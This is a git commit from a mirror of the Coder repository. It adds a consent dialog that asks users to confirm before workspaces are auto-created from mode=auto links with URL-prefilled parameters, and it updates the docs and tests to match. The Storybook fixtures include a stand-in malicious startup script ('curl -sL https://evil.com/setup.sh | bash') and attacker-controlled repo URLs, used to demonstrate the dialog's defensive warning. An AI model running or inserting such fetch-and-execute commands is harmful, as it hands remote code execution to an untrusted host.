mirror of
https://github.com/coder/coder.git
synced 2026-06-02 20:48:20 +00:00
feat(site)!: add consent prompt for auto-creation with prefilled parameters (#22011)
### Summary Workspace created via mode=auto links now require explicit user confirmation before provisioning. A warning dialog shows all prefilled param.* values from the URL and blocks creation until the user clicks `Confirm and Create`. Clicking `Cancel` falls back to the standard form view. <img width="820" height="475" alt="auto-create-consent-dialog" src="https://github.com/user-attachments/assets/8339e3bd-434f-4a04-9385-436bf95f49d7" /> ### Breaking behavior change Links using `mode=auto` (e.g., "Open in Coder" buttons) will no longer silently create workspaces. Users will now see a consent dialog and must explicitly confirm before the workspace is provisioned. Any existing integrations or automation relying on `mode=auto` for seamless workspace creation will now require manual user interaction. --------- Co-authored-by: Jake Howell <jacob@coder.com>
This commit is contained in:
@@ -115,6 +115,25 @@ specified in your template in the `disable_params` search params list
|
||||
[](https://YOUR_ACCESS_URL/templates/YOUR_TEMPLATE/workspace?disable_params=first_parameter,second_parameter)
|
||||
```
|
||||
|
||||
### Security: consent dialog for automatic creation
|
||||
|
||||
When using `mode=auto` with prefilled `param.*` values, Coder displays a
|
||||
security consent dialog before creating the workspace. This protects users
|
||||
from malicious links that could provision workspaces with untrusted
|
||||
configurations, such as dotfiles or startup scripts from unknown sources.
|
||||
|
||||
The dialog shows:
|
||||
|
||||
- A warning that a workspace is about to be created automatically from a link
|
||||
- All prefilled `param.*` values from the URL
|
||||
- **Confirm and Create** and **Cancel** buttons
|
||||
|
||||
The workspace is only created if the user explicitly clicks **Confirm and
|
||||
Create**. Clicking **Cancel** falls back to the standard creation form where
|
||||
all parameters can be reviewed manually.
|
||||
|
||||

|
||||
|
||||
### Example: Kubernetes
|
||||
|
||||
For a full example of the Open in Coder flow in Kubernetes, check out
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 52 KiB |
@@ -40,6 +40,7 @@ test("create workspace in auto mode", async ({ page }) => {
|
||||
waitUntil: "domcontentloaded",
|
||||
},
|
||||
);
|
||||
await page.getByRole("button", { name: /confirm and create/i }).click();
|
||||
await expect(page).toHaveTitle(`${users.member.username}/${name} - Coder`);
|
||||
});
|
||||
|
||||
@@ -53,6 +54,7 @@ test("use an existing workspace that matches the `match` parameter instead of cr
|
||||
waitUntil: "domcontentloaded",
|
||||
},
|
||||
);
|
||||
await page.getByRole("button", { name: /confirm and create/i }).click();
|
||||
await expect(page).toHaveTitle(
|
||||
`${users.member.username}/${prevWorkspace} - Coder`,
|
||||
);
|
||||
@@ -66,5 +68,6 @@ test("show error if `match` parameter is invalid", async ({ page }) => {
|
||||
waitUntil: "domcontentloaded",
|
||||
},
|
||||
);
|
||||
await page.getByRole("button", { name: /confirm and create/i }).click();
|
||||
await expect(page.getByText("Invalid match value")).toBeVisible();
|
||||
});
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||
import { fn } from "storybook/test";
|
||||
import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
|
||||
|
||||
const meta: Meta<typeof AutoCreateConsentDialog> = {
|
||||
title: "pages/CreateWorkspacePage/AutoCreateConsentDialog",
|
||||
component: AutoCreateConsentDialog,
|
||||
args: {
|
||||
open: true,
|
||||
onConfirm: fn(),
|
||||
onDeny: fn(),
|
||||
},
|
||||
};
|
||||
|
||||
export default meta;
|
||||
type Story = StoryObj<typeof AutoCreateConsentDialog>;
|
||||
|
||||
export const Default: Story = {
|
||||
args: {
|
||||
autofillParameters: [
|
||||
{
|
||||
name: "dotfiles_uri",
|
||||
value: "https://github.com/attacker/dots.git",
|
||||
source: "url",
|
||||
},
|
||||
{
|
||||
name: "git_repo",
|
||||
value: "https://github.com/attacker/malware-repo.git",
|
||||
source: "url",
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
|
||||
export const WithManyParameters: Story = {
|
||||
args: {
|
||||
autofillParameters: [
|
||||
{
|
||||
name: "dotfiles_uri",
|
||||
value: "https://github.com/attacker/dots.git",
|
||||
source: "url",
|
||||
},
|
||||
{
|
||||
name: "git_repo",
|
||||
value: "https://github.com/attacker/malware-repo.git",
|
||||
source: "url",
|
||||
},
|
||||
{ name: "region", value: "us-east-1", source: "url" },
|
||||
{ name: "instance_type", value: "t3.2xlarge", source: "url" },
|
||||
{ name: "docker_image", value: "ubuntu:24.04", source: "url" },
|
||||
{
|
||||
name: "startup_script",
|
||||
value: "curl -sL https://evil.com/setup.sh | bash",
|
||||
source: "url",
|
||||
},
|
||||
{ name: "env_vars", value: "SECRET=hunter2,TOKEN=abc123", source: "url" },
|
||||
],
|
||||
},
|
||||
};
|
||||
|
||||
export const WithLongValues: Story = {
|
||||
args: {
|
||||
autofillParameters: [
|
||||
{
|
||||
name: "dotfiles_uri",
|
||||
value:
|
||||
"https://evil.com/doasdasdjkhdasjkhasdjkhasdjkhasdjkhasdjkhdashjkasdt",
|
||||
source: "url",
|
||||
},
|
||||
{
|
||||
name: "git_repo",
|
||||
value:
|
||||
"https://evil.com/repoasddsaczxjkasdjkalsdhjkasjhsadhjksdajhkdas",
|
||||
source: "url",
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
|
||||
export const NoParameters: Story = {
|
||||
args: {
|
||||
autofillParameters: [],
|
||||
},
|
||||
};
|
||||
@@ -0,0 +1,70 @@
|
||||
import { Button } from "components/Button/Button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
} from "components/Dialog/Dialog";
|
||||
import { TriangleAlertIcon } from "lucide-react";
|
||||
import type { FC } from "react";
|
||||
import type { AutofillBuildParameter } from "utils/richParameters";
|
||||
|
||||
interface AutoCreateConsentDialogProps {
|
||||
open: boolean;
|
||||
autofillParameters: AutofillBuildParameter[];
|
||||
onConfirm: () => void;
|
||||
onDeny: () => void;
|
||||
}
|
||||
|
||||
export const AutoCreateConsentDialog: FC<AutoCreateConsentDialogProps> = ({
|
||||
open,
|
||||
autofillParameters,
|
||||
onConfirm,
|
||||
onDeny,
|
||||
}) => {
|
||||
return (
|
||||
<Dialog open={open}>
|
||||
<DialogContent
|
||||
onPointerDownOutside={(e) => e.preventDefault()}
|
||||
onEscapeKeyDown={(e) => e.preventDefault()}
|
||||
className="max-w-2xl overflow-hidden min-w-0"
|
||||
>
|
||||
<DialogHeader>
|
||||
<DialogTitle>
|
||||
<TriangleAlertIcon className="size-icon-lg text-content-warning inline-block align-text-bottom mr-2" />
|
||||
Warning: Automatic Workspace Creation
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
A link is attempting to automatically create a workspace using the
|
||||
following external configurations. Running scripts from untrusted
|
||||
sources can be dangerous.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
{autofillParameters.length > 0 && (
|
||||
<div className="flex min-w-0 flex-col gap-2">
|
||||
<span className="text-sm font-semibold text-content-primary">
|
||||
Parameters:
|
||||
</span>
|
||||
<code className="block whitespace-pre overflow-x-auto">
|
||||
{autofillParameters
|
||||
.map((p) => `${p.name}: ${p.value}`)
|
||||
.join("\n")}
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<DialogFooter>
|
||||
<Button variant="outline" onClick={onDeny}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button variant="default" onClick={onConfirm}>
|
||||
Confirm and Create
|
||||
</Button>
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -475,6 +475,12 @@ describe("CreateWorkspacePage", () => {
|
||||
`/templates/${MockTemplate.name}/workspace?mode=auto`,
|
||||
);
|
||||
|
||||
// Consent dialog appears for mode=auto — confirm to proceed.
|
||||
const confirmButton = await screen.findByRole("button", {
|
||||
name: /confirm and create/i,
|
||||
});
|
||||
await userEvent.click(confirmButton);
|
||||
|
||||
await waitForLoaderToBeRemoved();
|
||||
|
||||
expect(screen.getByText(/instance type/i)).toBeInTheDocument();
|
||||
|
||||
@@ -31,6 +31,7 @@ import { useMutation, useQuery, useQueryClient } from "react-query";
|
||||
import { useNavigate, useParams, useSearchParams } from "react-router";
|
||||
import { pageTitle } from "utils/page";
|
||||
import type { AutofillBuildParameter } from "utils/richParameters";
|
||||
import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
|
||||
import { CreateWorkspacePageView } from "./CreateWorkspacePageView";
|
||||
import {
|
||||
type CreateWorkspacePermissions,
|
||||
@@ -59,6 +60,7 @@ const CreateWorkspacePage: FC = () => {
|
||||
const defaultName = searchParams.get("name");
|
||||
const disabledParams = searchParams.get("disable_params")?.split(",");
|
||||
const [mode, setMode] = useState(() => getWorkspaceMode(searchParams));
|
||||
const [autoCreateConsented, setAutoCreateConsented] = useState(false);
|
||||
const [autoCreateError, setAutoCreateError] =
|
||||
useState<ApiErrorResponse | null>(null);
|
||||
const defaultOwner = me;
|
||||
@@ -240,7 +242,11 @@ const CreateWorkspacePage: FC = () => {
|
||||
externalAuth?.every((auth) => auth.optional || auth.authenticated),
|
||||
);
|
||||
|
||||
let autoCreateReady = mode === "auto" && hasAllRequiredExternalAuth;
|
||||
let autoCreateReady =
|
||||
mode === "auto" && hasAllRequiredExternalAuth && autoCreateConsented;
|
||||
|
||||
const showAutoCreateConsent =
|
||||
mode === "auto" && !autoCreateConsented && !autoCreateError;
|
||||
|
||||
// `mode=auto` was set, but a prerequisite has failed, and so auto-mode should be abandoned.
|
||||
if (
|
||||
@@ -291,6 +297,13 @@ const CreateWorkspacePage: FC = () => {
|
||||
<>
|
||||
<title>{pageTitle(title)}</title>
|
||||
|
||||
<AutoCreateConsentDialog
|
||||
open={showAutoCreateConsent}
|
||||
autofillParameters={autofillParameters}
|
||||
onConfirm={() => setAutoCreateConsented(true)}
|
||||
onDeny={() => setMode("form")}
|
||||
/>
|
||||
|
||||
{shouldShowLoader ? (
|
||||
<Loader />
|
||||
) : (
|
||||
|
||||
Reference in New Issue
Block a user